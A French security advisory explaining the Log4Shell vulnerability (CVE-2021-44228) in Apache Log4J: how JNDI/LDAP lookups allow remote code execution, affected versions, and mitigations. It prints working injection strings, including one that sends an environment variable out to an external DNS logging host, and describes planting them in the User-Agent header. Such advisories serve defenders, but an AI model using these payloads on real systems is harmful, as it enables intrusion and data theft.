CVE-2021-44228 Log4Shell : une vulnérabilité de type exécution de code à distance qui affecte le logiciel Apache Log4J
Le 9 décembre 2021, le chercheur en sécurité p0rz9 a publié sur Twitter des informations sur une nouvelle vulnérabilité liée à Apache Log4J, référencée sous le code CVE-2021-44228, et permettant d’exécuter du code à distance.
Apache Log4J est un logiciel de gestion des journaux utilisé pour le langage Java, et édité par la fondation Apache.
Log4J est ainsi utilisé pour enregistrer les évènements d’un autre logiciel, par exemple pour écrire toutes les requêtes faites sur un site Internet.
https://github.com/apache/logging-log4j2/pull/608
Comment fonctionne la CVE-2021-44228 ?
Log4J permet, lors de l’écriture d’une entrée dans les journaux :
- d’effectuer des opérations complémentaires, afin de récupérer des valeurs issues de sources complémentaires ;
- de faire des appels à des systèmes tiers, avec des protocoles comme LDAP (système d’annuaire) via JNDI.
La vulnérabilité CVE-2021-44228 / Log4Shell consiste à injecter sur un logiciel vulnérable une charge malveillante, qui va demander à Log4J d’aller chercher une valeur issue d’une source tierce, avec JNDI, et via le protocole LDAP.
Or, dans ce cas, Log4J ne vérifie pas assez bien les données importées. Les données importées peuvent alors être du code, qui sera exécuté par Log4J sur le système.
Comment attaquer un système avec cette vulnérabilité ?
La stratégie la plus simple consiste à créer un service d’écoute DNS comme http://www.dnslog.cn/.
En cliquant sur « Get subdomain », DNSlog génère un nom de domaine unique.
L’objectif est ensuite d’envoyer sur le logiciel vulnérable le message suivant :
${jndi:ldap://<sous-domaine-unique>.dnslog.cn/}
Si le message envoyé se retrouve enregistré par Log4J, alors Log4J va générer un appel LDAP sur DNSlog, et cet appel sera visible sur DNSlog.cn.
Un pirate peut ainsi demander à un système vulnérable de faire des requêtes vers un serveur sous son contrôle, et en profiter pour pousser des instructions malveillantes qui seront alors exécutées par Log4J.
Cette vulnérabilité permet aussi très facilement de faire des extractions d’informations par le protocole DNS, par exemple avec la requête suivante :
${jndi:ldap://${env:user}.dnslog.cn/}
Or, certaines entêtes HTTP sont particulièrement concernés par les enregistrements de journaux, comme le User-Agent, souvent utilisé à des fins de statistiques (le User-Agent indique le navigateur utilisé). Dans ce cadre, beaucoup de pirates scannent actuellement l’ensemble d’Internet en injectant une requête jndi dans l’entête User-Agent afin de trouver des sites web affectés par la CVE-2021-44228.
Quels sont les systèmes affectés par la CVE-2021-44228 ?
D’après le bulletin d’information d’Apache, la vulnérabilité affecte Log4J dans les versions 2.0-beta9 à 2.14.1 incluses.
Ainsi, Apache recommande de mettre à jour Log4J dans la version 2.15.0 pour corriger le problème.
Les autorités, en particulier l’ANSSI, recommandent également de mettre à jour Log4J dans la version 2.15.0 dans les plus brefs délais.
De plus, tout logiciel utilisant Log4J dans les configurations vulnérables se trouve aussi vulnérable. Cela concerne de nombreux logiciels complémentaires, comme Steam, Minecraft…
Comment neutraliser cette vulnérabilité ?
L’action prioritaire est de mettre à jour Log4J vers la version 2.15.0, via les gestionnaires de paquets habituels ou via un téléchargement direct de https://downloads.apache.org/logging/log4j/2.15.0/.
De plus, Cyberwatch recommande de restreindre les flux sortants des systèmes sensibles, et de les limiter aux seuls services de confiance : en effet, puisque la vulnérabilité consiste à demander au serveur attaqué de faire des requêtes LDAP vers une machine malveillante, il sera considérablement plus difficile d’utiliser la CVE-2021-44228 si le serveur attaqué ne peut pas faire de requêtes LDAP vers l’extérieur.
source : cyberwath